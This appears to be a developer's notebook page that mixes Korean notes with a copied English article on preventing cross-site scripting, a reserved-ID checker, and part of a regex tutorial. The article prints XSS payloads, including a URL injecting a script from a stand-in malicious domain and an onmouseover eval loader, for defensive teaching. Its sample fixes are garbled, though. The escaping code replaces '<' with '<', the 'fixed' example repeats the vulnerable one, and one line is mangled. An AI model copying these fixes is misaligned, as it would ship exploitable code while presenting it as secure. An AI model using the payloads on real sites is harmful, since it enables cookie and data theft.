Edward. K
메멘토적 기억능력을 소유한 개발자 노트.
1.NetBeans를 실행한다.
실행하는 것도 마우스로 쉽게~~
웹서버 실행
인풋 박스 입력되는 언어 설정을 할때 사용..
<input type="text" style="ime-mode:active;">
[ime-mode의 옵션]
auto : 한/영 변환이 자유로움.
active : 한글 기본, 한/영 변환이 자유로움
inactive : 영문 기본, 한/영 변환이 자유로움
disabled : 영문 기본, 한/영 변환이 안됨, 영문/숫자만 입력 가능
출처 : http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html
Cross site scripting (XSS) is basically using JavaScript to execute JavaScript from an unwanted domain in a page. Such scripts could expose any data in a page that is accessible by JavaScript including, cookies, form data, or content to a 3rd party. Here is how you can prevent your web pages from being exploited on both the client and the server. This is followed with tips on how to avoid vulnerable sites.
eval(), javascript, and script from User Provided Markup - If you allow users to provide markup in any part of your application that is displayed in a page make sure to remove eval() and javascript: calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks.
This is the classic XSS attack that can open your service or web application up to hackers. By design the site displays a user's id that is passed in as a URL parameter. The following script will take the id and display a welcome message.
<script type="text/javascript">
var start = window.location.href.indexOf("id");
var stop = window.location.href.length;
var id = "guest";
if (start < stop) {
id = decodeURIComponent(window.location.href.substring(start,stop));
}
document.write("Hi " + id);
</script>
A request to the URL index.html?id=greg (assuming the page containing the script is index.html) will result in:
Hi greg
What would happen if instead of "greg" I used the following URL:
index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E
http://baddomain.com/badscript.js which contains malicious code from a different domain. This script will be evaluated when the page is loaded putting the page and all the data in it at risk.
To prevent from these types of attacks your client code should always escape "<" and ">" parameters that are displayed or evaluated by JavaScript code.
You can do this with a simple line of code as can be seen in the next example.
<script type="text/javascript">
var start = window.location.href.indexOf("id");
var stop = window.location.href.length;
var id = "guest";
if (start < stop) {
id = decodeURIComponent(window.location.href.substring(start,stop));
}
document.write("hi " + id);
</script>
Consider the following containing a form where a user enters a description that will be visible to other users.
<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>
Seems innocent enough right? Try including the following content in the text area.
<a onmouseover="eval('s=document.createElement(\'script\'); document.body.appendChild(s); s.src=\'badscript.js\'')">Mouse Over Me</a>
A mouseover of the link will cause a script in a badscript.js to be loaded. This script could also pass along cookies or any other information it wanted to as parameters of the "s.src" URL. Unlike the first example where the user would need to click on a bad link this type of attack requires a simple mouseover to load the badscript.js.
So the question now comes to mind: 'How do you protect your web page from being being exploited?'
Along with the parameters you should escape form input. If you plan to allow users to provide their own markup consider the next solution titled Removeeval(), javascript, and script from User Provided Markup. The following code shows how to escape markup on the client.
<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
description = description .replace(/</g, "<").replace(/>/g, ">");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>
The code description = description.replace(//g, ">"); filters the user input and prevents unwanted scripts from being executed.
Now that we have looked at how to prevent most attacks the next section focuses on cases where you want to allow users to provide markup that does not contain malicious code.
eval(), javascript:, and script from User Provided MarkupThere may be cases where you want to allow a user to add markup such as links or HTML content that is displayed for other users to see. Consider a blog that allows for HTML markup, user provided URLs, HTML comments, or any other markup. The solution would be to filter all markup before it is displayed in a page or before it is sent to a server or service. The following example shows how to allow for some HTML markup while preventing malicious code.
<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
description.replace(/[\"\'][\s]*javascript:(.*)[\"\']/g, "\"\"");
description = description.replace(/script(.*)/g, "");
description = description.replace(/eval\((.*)\)/g, "");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>
The example above removes all eval(), javascript and script references that may be entered in the description field. The replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. You may consider refining the regular expressions to only look in tag attributes for example and to remove full scripts. There are other considerations you should keep in mind when filtering client code such as line breaks, charsets, case sensitivity which are commonly exploited in attacks. As some browsers will allow you to specify JavaScript calls from CSS styles you should also consider searching user provided CSS styles as well.
Most of the problems related to cross site scripting are because of poorly designed clients. Servers can also unwillingly become participants in cross domain scripting attacks if they redisplay unfiltered user input. Consider the following example where a hacker manually makes a HTTP POST request to set the homepage URL with the following.
<a href="javascipt:eval('alert(\'bad\')');">Click Me</a>
The URL would end up being stored as is on the server as is and expose any user that clicks on the URL to the JavaScript. The example above seems innocent enough but consider what would happen if in place of an alert('bad') the "javascript" contained malicious code. To prevent such attacks you should filter user input on the server. The following Java example shows how to use regular expression replacement to filter user input.
String description = request.getParameter("description");
description = description.replaceAll("<", "<").replaceAll(">", ">");
description = description.replaceAll("eval\\((.*)\\)", "");
description = description.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
description = description.replaceAll("script", "");
The code above removes eval() calls, javascript: calls, and script references the replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. The code above may be applied using a servlet, servlet filter, or JSF component on all input parameters or on a per parameter basis depending on what how much markup you would like to allow users to provide. You may want refine the regular expressions that filter the content to handle more or consider a Java library built that specializes in removing malicious code.
Dynamic script injection to retrieve JSON data (also known as JSONP) can be powerful and useful as it decouples your client from the server of origin. There is still a bit of debate over using JSONP as some consider it as a hack or security hole in JavaScript because when you dynamically include a reference to a 3rd party script you are giving that script full access to everything in your page. That script could go on to inject other scripts or do pretty much whatever it wanted.
If you choose to use JSONP make sure you trust the site for which you are interacting with. There is nothing stopping a JSONP provider from including unwanted script with JSONP data. One alternative would be to provide a proxy service which you can control the output, restrict access to, and can cache as needed.
This next recommendation focuses on protecting yourself as a user from a site that is vulnerable to cross site scripting attacks.
Phishing attacks, or attacks where what appears to be a valid URL links to a fraudulent web page who's purpose is to collect a users data, are nothing new to the web world. A related attack involves cross site scripting attacks where a URL to a legitimate site that has a cross site scripting vulnerability contains a script reference. Such a link may appear in an email message, blog posting/comment, or other user generated content that contains a URL. Clicking a link to a site containing a cross site scripting vulnerability would cause a 3rd party script to be included along with your request and could expose your password, user id, or any other data. Consider the following example:
<a href="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E">See foobar</a>
A quick look at the URL shows it references the site http://foobar.com/index.html. An unsuspecting user may not see the script included as a parameter later in the URL.
It is also wise to always look at carefully at URLs and the URL parameters that are provided with them. URLs will always appear in the status bar of your browser as and you should always look for external script reference. Another solution would be to manually type in links into the URL bar of your browser if a link is suspect.
Be aware of sites known to have vulnerabilities and be very careful with any personal data you provide those sites.
While JavaScript based interfaces can be very flexible you need to be very careful with all user provided input whether it be as parameters or form data. Always make sure to escape or filter input on the both the client and server. As a user you should be cautious not to become a victim of a vulnerable site. It's better to be safe than in the news!
What other things do you do to prevent XSS attacks?
Link : http://www.javascriptkit.com/javatutors/redev3.shtml
아이디 생성시 제한 아이디를 설정해주기 위해.....
<script language="JavaScript">
<!--
function checkId(str) {
str = str.toLowerCase();
var len =str.length;
var noId =['root','admin','webmater','mail','jboss','oracle','mysql','localhost','user'];
for( var i=0; i<noId.length ; i++) {
//str = str.replace(eval('/(['+noId[i]+'])/') ,'');
str = str.replace(eval('/'+noId[i]+'/') ,'');
}
// 삭제된 결과가 기존 길이보다 작을 경우는
// 입력 금지 아이디와 동일하다고 판단
if( str.length < len ){
alert('---: '+str);
}
}
checkId ("rootff123");
checkId ("aduser23");
//-->
</script>
Regular Expressions methods and usageNow, knowing how a RegExp is written is only half the game. To gain anything from them you have to know how to use them too. There are a number of ways to implement a RegExp, some through methods belonging to the String object, some through methods belonging to the RegExp object. Whether the regular expression is declared through an object constructor or a literal makes no difference as to the usage.
| Description | Example |
|---|---|
RegExp.exec(string) | |
| Applies the RegExp to the given string, and returns the match information. | var match = /s(amp)le/i.exec("Sample text")match then contains ["Sample","amp"] |
RegExp.test(string) | |
| Tests if the given string matches the Regexp, and returns true if matching, false if not. | var match = /sample/.test("Sample text")match then contains false |
String.match(pattern) | |
Matches given string with the RegExp. With g flag returns an array containing the matches, without g flag returns just the first match or if no match is found returns null. |
var str = "Watch out for the rock!".match(/r?or?/g)str then contains ["o","or","ro"] |
String.search(pattern) | |
| Matches RegExp with string and returns the index of the beginning of the match if found, -1 if not. | var ndx = "Watch out for the rock!".search(/for/)ndx then contains 10 |
String.replace(pattern,string) | |
| Replaces matches with the given string, and returns the edited string. | var str = "Liorean said: My name is Liorean!".replace(/Liorean/g,'Big Fat Dork')str then contains "Big Fat Dork said: My name is Big Fat Dork!" |
String.split(pattern) | |
| Cuts a string into an array, making cuts at matches. | var str = "I am confused".split(/\s/g)str then contains ["I","am","confused"] |
On that note I conclude the tutorial. Now go express yourself with JavaScript regular expressions!
This tutorial is written by David Andersson (Liorean). Liorean is a twenty years old medical student and hobbyist web designer mostly working with JavaScript and CSS, DOM and the newest html standards available.